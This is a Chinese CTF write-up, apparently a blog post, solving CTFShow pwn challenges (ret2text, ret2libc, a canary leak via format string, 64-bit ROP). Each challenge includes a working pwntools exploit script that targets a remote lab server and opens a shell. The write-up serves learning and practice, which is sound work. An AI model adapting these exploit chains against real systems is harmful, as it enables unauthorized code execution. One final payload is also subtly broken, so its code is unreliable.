Pwn

    科技2022-07-11  101

    Pwn_CTFShow

    1.PWN签到题2.pwn02ret2text 3.pwn034.pwn045.pwn056.pwn067.pwn07

    1.PWN签到题

    直接 nc

    出flag,白给

    2.pwn02

    ret2text

    file 一下 32bit

    IDA分析 发现 bin/sh 地址

    可以用 cyclic生成字符串,然后gdb run一下,再计算出偏移

    cyclic -l 0x...... exp:

    from pwn import * p=remote('111.231.70.44',28042) payload='a'*13 + p32(0x8048518) p.sendline(payload) p.interactive()

    3.pwn03

    参考博客

    先checksec一下 32bit 程序 IDA分析 先看main函数 没有什么线索,再进pwnme函数

    发现存在一个栈溢出 由于找不到system函数的地址,所以

    涉及到plt表和got表 程序执行后,plt表里是got表的地址,got表是函数的真实地址 程序还未执行时,got表里还是plt表的地址 我们需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样 但也只是针对于地址中间位进行随机,最低的12位并不会发生改变 也就是我们需要获取到远程环境的函数的真实地址 进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell 所以我们首先exp的构造 首先栈溢出,利用puts函数的plt表的地址,泄漏puts函数的got表中的函数的真实地址,然后返回地址填写main函数重新跳转回来

    exp:

    from pwn import * #context.log_level = 'debug' p = remote('111.231.70.44',28063) #p = process('./stack1') elf = ELF('./stack1') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = "A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('\n\n') get_addr = u32(p.recv(4)) print(hex(get_addr))

    输出了puts函数的真实地址 ps:这里要remote过去,否则输出的地址会不一样

    可以通过后三位判断libc的版本 libcSearch

    知道这些信息之后 exp:

    from pwn import * #context.log_level = 'debug' p = remote('111.231.70.44',28063) #p = process('./stack1') elf = ELF('./stack1') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = "A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('\n\n') get_addr = u32(p.recv(4)) print(hex(get_addr)) libcbase = get_addr - 0x067360 system_addr = libcbase + 0x03cd10 bin_sh = libcbase + 0x17b8cf payload = flat(['A'*13,system_addr,'AAAA',bin_sh]) p.sendline(payload) p.interactive()

    4.pwn04

    先checksec 栈不可执行 Canary打开

    canary: 用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出。

    main函数: 没有线索,跟进vuln函数

    看到v3就是canary了 也就是下面的 [ebp-0ch] 在vuln函数中canary赋值给了eax 我们可以通过在这个赋值之后下一个断点,来获取canary的值 在此之前我们需要知道printf函数的地址,用来找到canary的偏移 所以要先在printf函数下面下一个断点 b printf

    run

    可以看到 printf函数的地址是 0xffffd0b0

    然后在canary赋值之后下一个断点 ps:在vuln函数和main函数中都有canary的赋值

    这里需要用main函数里面的(我也不知道为什么。。。 b *0x080486C9

    这样就找到了canary的值 之后看printf的地址,找到canary的值,然后算出偏移 x/40wx 0xffffd0b0 发现0x0x1276e500的偏移为31,所以构造canary的值为1$x canary的值要靠我们的输入buf来赋值,所以要计算一下buf和v3的偏移 = (0x70-0xC) =100 最后还有 (0x8+4) = 12 个字节需要覆盖,覆盖返回地址到system函数才能取得shell

    exp:

    from pwn import * p =remote("111.231.70.44",28017) p.recv() leak_canary = "1$x" p.sendline(leak_canary) canary = int(p.recv(),16) print(hex(canary)) getshell = "a" * 100 + p32(canary) + "b" * 12 + p32(0x0804859B) p.sendline(getshell) p.interactive()

    5.pwn05

    IDA分析一下

    gets函数 明显的溢出 双击s 偏移为 (0x14+4) 再 Shift+F12 找到 /bin/sh

    exp:

    from pwn import * p=remote('111.231.70.44',28024) payload='a'*(0x14+4) + p32(0x08048486) p.sendline(payload) p.interactive()

    6.pwn06

    64位的pwn05 所以和上一题是差不多的 不同的是这里要平衡堆栈 push rbp :将bp寄存器的值压入栈中 然后再看偏移 这里32位是4,而64位则是8

    exp:

    from pwn import * p=remote('111.231.70.44',28070) payload='a'*(0xc+8) + p64(0x400577)+ p64(0x400577) p.sendline(payload) p.interactive()

    7.pwn07

    先checksec一下 这题和pwn03差的不多 pwn03是32bit的,这题是64bit的 64比32需要的payload多了一个pop rdi,ret

    32位: payload:"a"*offset + p32(plt) + p32(ret_addr) + p32(got) getshell: "a"*offset + p32(system_addr) + "AAAA" + p32(str_bin_sh) 64位: payload:"a"*offset + p64(pop_rdi) + p64(got) + p64(plt) + p64(ret_addr) getshell: "a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

    ROPgadget --binary [file name]

    exp:

    from pwn import * context.log_level = 'debug' context.arch = 'amd64' #p = process('./pwn') p = remote('111.231.70.44',28049) elf = ELF('./pwn') #产生一个对象 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pop_rdi = 0x4006e3 # ROPgadget --binary [file name] main = elf.symbols['main'] #elf.symbols['a_function'] 找到 a_function 的地址 payload = 'a'*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) #64位payload: "a"*offset + p64(pop_rdi) + p64(got) + p64(plt) + p64(ret_addr/main) p.sendline(payload) p.recvuntil('\x0a') #p.recvuntil(some_string) 接收到 some_string 为止 puts_addr = u64(p.recv(6).ljust(8,b'\x00')) #p.recvn(N) 接受 N(数字) 字符 print(hex(puts_addr)) ret_addr = 0x4006E4 libcbase = puts_addr - 0x0809c0 # -libc_Offset的puts system_addr = libcbase + 0x04f440 # +libc_Offset的system bin_sh = libcbase + 0x1b3e9a # +libc_Offset的bin/sh payload = 'a'*20 + ret_addr + pop_rdi + bin_sh + system_addr #getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) p.sendline(payload) p.interactive()
    Processed: 0.030, SQL: 8